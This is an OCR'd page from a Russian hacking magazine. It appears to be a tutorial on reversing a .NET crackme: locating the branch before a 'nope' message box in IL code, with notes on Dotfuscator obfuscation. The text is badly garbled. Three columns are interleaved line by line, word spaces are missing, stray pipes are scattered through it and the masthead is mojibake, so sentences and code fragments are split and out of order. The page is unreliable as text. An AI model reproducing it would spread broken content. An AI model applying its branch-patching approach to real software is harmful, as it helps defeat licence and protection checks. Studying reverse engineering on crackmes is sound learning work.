СЕРЫЙВОЛК |
|
|||
|
прыгнутьснегонавыявленнуюкоманду.ВILнет |
|
|
|
|
Неужеливседействительнотакпросто?Насамом |
|
||
|
|
|
|
Выводрешениявтекстбоксеформы |
|
|
|
|
|
|
операторовветвления,поэтомуониреализуются |
|
|
делеида,инет.Еслимы(иещетуевахучалюдей) |
|
||||
|
ввидепоследовательностипростыхкомандсрав- |
|
IL_013d: ldarg.0 |
|
|
знаемовозможностивосстановлениякода,об |
|
||
|
ненияипрыжков.Здесьвсекаквассемблере. |
|
IL_013e: callvirt |
instance class |
|
этомдолжныбылипозаботитьсявMicrosoft.Даи |
|
||
|
Итак,ищемпоследнийпереходпередвыводом |
|
[System.Windows.Forms]System. |
|
другиеконторынепрочьпредоставитьрешения |
|
|||
|
MessageBoxссообщениемnope. |
|
Windows.Forms.TextBox app14. |
|
позащитеотанализаиреверса.Вцеломтаки |
|
|||
|
|
|
|
goes::get_txt() |
|
|
есть,толькорешенияэтидалеконевсегдаобес- |
|
|
|
Локализацияперехода |
|
|
IL_0143: ldstr |
"fm`{f}kpwrn" |
|
печиваютреальнуюзащиту. |
|
|
|
IL_00f2: ldc.i4 |
0x1ca |
|
IL_0148: call |
object app14.Encr |
|
Начнемсобфускации.ВпоставкуVisualStudio |
|
|
|
IL_00f7: ceq |
|
|
ypt::ParseandDecrypt(string) |
|
входитутилаподназваниемDotfuscator.Ее |
|
||
|
IL_00f9: or |
|
|
IL_014d: call |
string |
|
задача—усложнитьработуреверсеразасчет |
|
|
|
IL_00fa: brfalse.s |
IL_0110 |
|
[Microsoft.VisualBasic]Microsoft. |
|
измененияименклассов,методовипеременных, |
|
||
|
|
|
|
|
|
|
|
|
|
058 |
XÀÊÅÐ 07 /127/ 09 |